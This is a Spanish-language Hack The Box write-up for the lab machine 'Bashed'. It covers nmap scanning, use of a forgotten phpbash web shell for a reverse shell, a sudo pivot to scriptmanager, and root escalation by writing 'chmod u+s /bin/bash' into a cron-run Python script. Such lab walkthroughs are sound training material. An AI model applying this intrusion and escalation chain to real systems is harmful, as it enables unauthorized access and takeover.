Bashed - HTB Writeup

6 minute read

titulo

Enumeración

Comenzamos como siempre, enviando una traza por ICMP para ver si la máquina se encuentra activa y para identificar el OS:

┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ ping -c 1 10.10.10.68
PING 10.10.10.68 (10.10.10.68) 56(84) bytes of data.
64 bytes from 10.10.10.68: icmp_seq=1 ttl=63 time=64.3 ms

--- 10.10.10.68 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 64.321/64.321/64.321/0.000 ms
Parámetro Acción
-c 1 elegimos que solo queremos enviar 1 traza

Se puede ver que la máquina está activa y que observando el TTL, concluimos que es una máquina Linux.

Más información sobre la detección de OS mediante TTL aquí.

También puedes hacer uso de mi herramienta OSidentifier.

Nmap

Empezamos con la fase de escaneo de puertos, haremos uso de la herramienta nmap:

┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ sudo nmap -p- --open -sS --min-rate 4000 -v -n 10.10.10.68 -sC -sV -oN targeted

Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-17 14:01 WEST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating Ping Scan at 14:01
Scanning 10.10.10.68 [4 ports]
Completed Ping Scan at 14:01, 0.10s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 14:01
Scanning 10.10.10.68 [65535 ports]
Discovered open port 80/tcp on 10.10.10.68
Completed SYN Stealth Scan at 14:02, 15.63s elapsed (65535 total ports)NSE: Script scanning 10.10.10.68.
Initiating NSE at 14:02
Nmap scan report for 10.10.10.68
Host is up (0.063s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 6AA5034A553DFA77C3B2C7B4C26CF870
| http-methods: 
|_  Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

NSE: Script Post-scanning.
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.54 seconds
Raw packets sent: 65548 (2.884MB) | Rcvd: 65545 (2.622MB)
Parámetro Acción
-p- Es una forma de especificar que queremos escanear todos los puertos existentes, los 65535.
--open Este parámetro hace que nos muestre únicamente los puertos abiertos, que nos omita los filtered.
-sS Especificamos el tipo de escaneo ‘SYN port Scan’, que es más rápido y sigiloso que el tipo de escaneo por defecto.
--min-rate [valor] envía paquetes tan o más rápido que la tasa dada.
-v Especifica que queremos más ‘verbose’, es decir, que nos muestre mas información de la convencional.
-n Quitamos la resolución DNS para que el escaneo vaya más rápido.
-sC Utiliza un escaneo con una serie de scripts por defecto de nmap.
-sV Activa la detección de versiones.
-oN [nombre de archivo] Exporta los resultados en formato normal, tal cual se ve en el escaneo.

y vemos que solo hay un puerto abierto:

puerto servicio
80 HTTP → Normalmente corresponde a que hay una web alojada.

Para hacer una enumeración rápida de directorios que pudieran haber en el servidor web, voy a utilizar un script de nmap que se llama http-enum:

┌─[z3r0byte@z3r0byte]─[~]
└──╼ $ nmap --script http-enum -p80 10.10.10.68 -oN webScan
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-17 14:09 WEST
Nmap scan report for 10.10.10.68
Host is up (0.064s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|   /dev/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|   /js/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|   /php/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|_  /uploads/: Potentially interesting folder

Nmap done: 1 IP address (1 host up) scanned in 6.72 seconds
Parámetro Acción
--script http-enum Indicamos que queremos utilizar el script http-enum.
-p80 Indicamos que queremos hacer acciones únicamente con el puerto 80 del host.
-oN [Nombre de archivo] Exporta los resultados en formato normal, tal cual se ve en el escaneo.

User.txt

Ya que medianamente hemos enumerado un poco el puerto 80, vamos a visitar la web con el navegador:

navegador1

Parece ser un blog.

Veo que hay un artículo sobre algo llamado phpbash, accedemos para ver más en detalle:

navegador2

Y vemos que habla de una utilidad que permite emular una consola con php.

Después de esto, procedo a enumerar los directorios que me había enumerado el script de nmap, empiezo por el directorio dev:

navegador3

¡Que sopresa! Se ve que el usuario que administra el blog ha estado probando la utilidad de la que hablaba en un post y se ha olvidado de borrarla.

Accedo a phpbash.php para ver si era la utilidad realmente y…

navegador4

Vaya pues sí, es el recurso.

Pruebo a obtener acceso al sistema mediante un servidor en python que aloje una reverse shell y lo conseguimos:

navegador5

Podemos ver la flag de user como usuario www-data en /home/arrexel/user.txt

bash-4.3$ cat /home/arrexel/user.txt

2c2XXXXXXXXXXXXXXXXXXXXXXc1

Root.txt

Empiezo enumerando el sistema como usuario www-data y me percato de que puedo ejecutar cualquier comando como el usuario scriptmanager:

bash-4.3$ whoami 
www-data
bash-4.3$ sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL
Parámetro Acción
-l listamos los comandos permitidos y prohibidos para ejecutar como otro usuario

Con esto es muy facil convertirse en este usuario, basta con hacer lo siguiente:

bash-4.3$ sudo -u scriptmanager /bin/bash
bash-4.3$ whoami
scriptmanager
Parámetro Acción
-u [comando] Especificamos el usuario con el cual se ejecutará el comando

Una vez nos hemos convertido en usuario scriptmanager sigo enumerando el sistema en busca de algún vector para convertirnos en root.

Pruebo a hacer uso de la utilidad find para buscar archivos o directorios que sean propiedad de este usuario.

bash-4.3$ find / -user scriptmanager 2>/dev/null | grep -v "proc"
/scripts
/scripts/test.py
/home/scriptmanager
/home/scriptmanager/.profile
/home/scriptmanager/.bashrc
/home/scriptmanager/.nano
/home/scriptmanager/.bash_history
/home/scriptmanager/.bash_logout
Parámetro Acción
/ Queremos hacer la busqueda recursiva desde la raiz (en todo el sistema)
-user [usuario] Buscamos archivos y directios que sean propiedad del usuario pasado por parámetro
2>/dev/null enviamos los errores a /dev/null (para que no los muestre) que es un archivo especial para esto mismo
Parámetro Acción
-v hacemos que no muestre los matches

Vemos que hay un directorio poco comun en la raiz del sistema con nombre scripts

Voy a ver que contiene y veo que hay 2 archivos:

bash-4.3$ ls   
test.py  test.txt

Hay un script en python y un archivo de texto.

Inspecciono el script de python y el archivo de texto:

bash-4.3$ cat test.py

f = open("test.txt", "w")
f.write("testing 123!")
f.close

bash-4.3$ cat test.txt
testing 123!

Este script lo que hace es crear un archivo test.txt y escribir dentro “testing 123!”

Por ahora nada raro.

Pruebo a hacer un ls -la para ver los permisos de los archivos:

bash-4.3$ ls -lah
total 16K
drwxrwxr--  2 scriptmanager scriptmanager 4.0K Aug 17 07:48 .
drwxr-xr-x 23 root          root          4.0K Dec  4  2017 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Aug 17 07:48 test.py
-rw-r--r--  1 root          root            12 Aug 17 07:49 test.txt

Viendo esto, supongo que root tiene una tarea cron que ejecuta el script test.py a intervalos de tiempo,ya que el archivo que se generó a través del script es propiedad de root.

Al tener permisos de escritura en el script de python, ya la escalada de privilegios está asegurada.

Podriamos editar test.py con lo siguiente:

import os

os.system("chmod u+s /bin/bash")

una vez hecho esto esperamos hasta que la tarea cron se ejecute, y ya podremos hacer un bash -p y convertirnos en root

bash-4.3$ bash -p
bash-4.3# whoami
root

Ya en este punto podremos ver la flag de root en /root/root.txt

bash-4.3# cat /root/root.txt 
cc4XXXXXXXXXXXXXXXXXXXXXXXXXXe2

Resumen

En esta máquina hacemos uso de una utilidad que emulaba una shell en el servidor web para acceder al sistema, nos convertimos en el usuario scriptmanager con un permiso de sudoers que nos permitía ejecutar cualquier comando como el usuario scriptmanger. Por último, nos convertimos en usuario root aprovechando una tarea cron que ejecutaba un script en python que nosotros podíamos manipular.